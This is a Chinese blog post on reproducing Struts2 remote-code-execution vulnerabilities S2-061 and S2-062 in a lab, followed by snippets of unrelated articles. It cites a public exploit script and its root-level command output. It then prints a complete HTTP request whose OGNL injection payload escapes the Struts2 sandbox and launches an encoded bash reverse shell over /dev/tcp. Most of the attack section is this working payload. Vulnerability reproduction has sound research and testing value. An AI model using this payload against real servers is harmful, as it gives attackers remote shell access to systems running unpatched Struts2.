首页 > 其他分享 >struts2相关漏洞

struts2相关漏洞

时间:2023-12-19 11:23:10浏览次数:27  
标签:+% get 23request 漏洞 struts2 toString 2b 相关 3d%

过去爆出的历史漏洞可以使用一些集成工具才探测,这里复现一些工具未集成的漏洞

struts2 代码执行 (CVE-2020-17530)(S2-061)

启动环境

 使用另一个exp来执行

https://github.com/YanMu2020/s2-062
E:\python s2-062.py --url http://x.x.x.x:x/.action --cmd id
命令回显
uid=0(root) gid=0(root) groups=0(root)

struts2 代码执行 (CVE-2021-31805)(s2-062)

启动环境

 使用之前的exp来执行

手动复现,抓包并修改数据包

POST /s2_062/index.action HTTP/1.1
Host: x.x.x.x:x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 1273

name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%6a%63%75%4d%43%34%77%4c%6a%45%76%4f%44%67%34%4f%43%41%77%50%69%59%78}|{base64,-d}|{bash,-i}'}))

其中,echo后的字符为反弹shell命令使用base64编码再使用url编码,修改后发包

 

 

标签:+%,get,23request,漏洞,struts2,toString,2b,相关,3d%
From: https://www.cnblogs.com/re8sd/p/17913271.html

相关文章

  • 转SSL相关
    intret;//constchar*pers="ssl_client1";mbedtls_entropy_contextentropy;mbedtls_ctr_drbg_contextctr_drbg;mbedtls_ssl_contextssl;mbedtls_ssl_configconf;voidssl_int(void){mbedtls_ssl_close_notify(&ssl);mbedtls_ssl_f......
  • Java-并发编程-03深入理解并发编程概念以及相关关键字
    浅入并发编程三个核心概念在并发编程中,我们通常会遇到以下三个问题:原子性问题,可见性问题,有序性问题。我们先看具体看一下这三个概念:1.原子性原子性:即一个操作或者多个操作要么全部执行并且执行的过程不会被任何因素打断,要么就都不执行。举个最简单的例子,大家想一下假如为一......
  • 音视频相关接口概念总结
    HDMIHDMI(High-DefinitionMultimediaInterface)是一种数字音视频接口标准,广泛用于连接高清晰度电视、显示器、投影仪、音响等设备。HDMI提供了一个单一的数字接口,支持高清晰度视频和多声道音频传输,同时还能传输其他数据,如显示器信息和遥控器信号。以下是HDMI的一些主要特点和......
  • 【沁恒 CH58x 应用】BLE相关知识基础
    大纲:1.什么是ble,ble与传统蓝牙的区别,ble与蓝牙4.0的区别2.ble的基本概念:协议层(协议框架)、服务(Service)、特征(Characteristic)。什么是配对(pair)、通知(notify)。 介绍低功耗蓝牙1.什么是低功耗蓝牙?图1BLE介绍低功耗蓝牙,简称BLE,是蓝牙的一种省电变体。BLE的主要应......
  • 符号执行manticore工具演练之发现缓冲区溢出漏洞
    符号执行之manticore工具演练参考资料:SANSSEC554https://docs.soliditylang.org/en/v0.8.0/ziion虚拟机:区块链智能合约中的kali(ziion涵盖演练中所以提及到的工具)动静态之分IDA是静态分析工具,常用于检测脆弱性;manticore是动态分析工具,常用于编写漏洞利用(符号执行:即执......
  • jieba 分词红楼梦相关的分词,出现次数最高的20个
    点击查看代码importjiebaimportwordclouddeftakeSecond(elem):returnelem[1]defcreateWordCloud(text):#生成词云函数w=wordcloud.WordCloud(font_path="STZHONGS.TTF",width=1000,height=500,background_color="white")w.g......
  • 安全漏洞修复记录
    1. 敏感信息泄露1.1. 6443/10251/10252敏感信息泄露上图中提示6443、10251、10252三个端口分别对应了K8S的kubelet API、kube-scheduler、kube-controller三个服务的通讯端口。访问URL显示这三个端口的指标、版本页面会显示敏感信息。所以我们需要做的是禁止三个端口外......
  • vue3 相关知识汇总
    1组合式api和选项式api  1.1概念  选项式api:用包含多个选项的对象来描述组件的逻辑。  组合式api:组合式api使用导入的API函数来描述组件逻辑。组合式API通常会与<scriptsetup>搭配使用。  1.2应用场景    选项式api:不需要使用构建工具或者低复......
  • C#的相关知识,封装一个泛型的数据库访问查询方法
    publicTGet<T>(intid)whereT:BaseModel{stringConnectionString="DataSource=DESKTOP-63QE7M1;Database=CustomerDB;UserID=sa;Password=sa123;MultipleActiveResultSets=True";Typetype=typeof(T);varpropList=type.GetProperties......
  • can总线相关内容
    can总线是一种串行通讯总线。具有多主控制的特点,及在总线空闲时,所有单元都可以开始发送消息,最先访问总线的单元可以获得发送权。多个单元同时访问总线时,发送高优先级id消息的单元可以优先访问。can总线中利用id标识各个节点。在节点发送数据时,发送的报文帧中也应含有节点的id信息......